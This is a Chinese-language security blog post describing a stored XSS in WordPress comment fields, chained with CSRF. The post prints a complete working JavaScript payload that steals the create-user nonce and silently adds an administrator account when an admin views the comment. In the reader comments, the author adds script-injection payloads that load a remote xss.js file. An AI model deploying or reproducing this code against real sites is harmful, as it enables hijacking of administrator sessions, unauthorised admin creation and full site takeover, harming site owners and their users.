Wordpress评论处XSS & CSRF

依稀的记得WordPress 3.0-3.9.2 存储型XSS这个里面我们的某编辑测试的时候就发现了。
http://fuck.0day5.com/archives/1398.html
详情关注前端大牛0x_jin的文章
http://zone.wooyun.org/content/16865
http://zone.wooyun.org/content/17075
不过我们的某编辑(现在生死不明)当时的这个地方他的姿势错了,却阴差阳错的找到这个,不过现在持续到了4.1还存在。

前台评论的地方
alert1

alert1

不会再后台触发.

alert

不过,提交了后,发现这个始终是存在的,我们可以构造一个csrf脚本来让管理员操作我们的动作.添加管理,getshell。一切自己可以猜想.

 
var request = false;
if(window.XMLHttpRequest) {
request = new XMLHttpRequest();
if(request.overrideMimeType) {
request.overrideMimeType('text/xml');
}
} else if(window.ActiveXObject) {
var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
for(var i=0; i<versions.length; i++) {
try {
request = new ActiveXObject(versions[i]);
} catch(e) {}
}
}
var src=location.href.substring(0,location.href.lastIndexOf('/'));
xmlhttp=request;
POSTa();
function POSTa(){
xmlhttp.open("GET", src+"/wp-admin/user-new.php", false);
xmlhttp.send(postStr);
var respone = xmlhttp.responseText; 
var arr=respone.match(/name\s*=\s*"_wpnonce_create-user"\s*value\s*=\s*"(.*?)"/);
var hash=arr[1]; 
var postStr=("action=createuser&_wp_http_referer=%2Fwp-admin%2Fuser-new.php&user_login=admin&email=admin%40admin.com&first_name=&last_name=&url=&pass1=adminadmin%21%40%23%24&pass2=adminadmin%21%40%23%24&role=administrator&createuser=%E6%B7%BB%E5%8A%A0%E6%96%B0%E7%94%A8%E6%88%B7&_wpnonce_create-user="+hash);
xmlhttp.open("POST", src+"/wp-admin/user-new.php", true);
xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xmlhttp.setRequestHeader("Referer", src+"/wp-admin/user-new.php");
xmlhttp.setRequestHeader("Content-length", postStr.length);
xmlhttp.setRequestHeader("Connection", "close");
xmlhttp.send(postStr);
}

success

6 条评论

  1. ez

    alert('真有?')

    1. 0day5
      @ez

      真有,就别在这测试了~

  2. test

    你好,我构造一个csrf脚本,该如何使用呢?是写在留言板里面吗? 谢谢

    1. 0day5
      @test

      其实这个,还好啦~
      document.write(decodeURIComponent('%3Cscript%20src%3D%22http%3A%2F%2Fwww.baidu.com%2Fxss.js%22%3E%3C%2Fscript%3E'))

      或者<script src=//baidu.com/xss.js></script>

  3. Heik

    :lol: 怎么用

    1. 0day5
      @Heik

      你猜:lol:

发表评论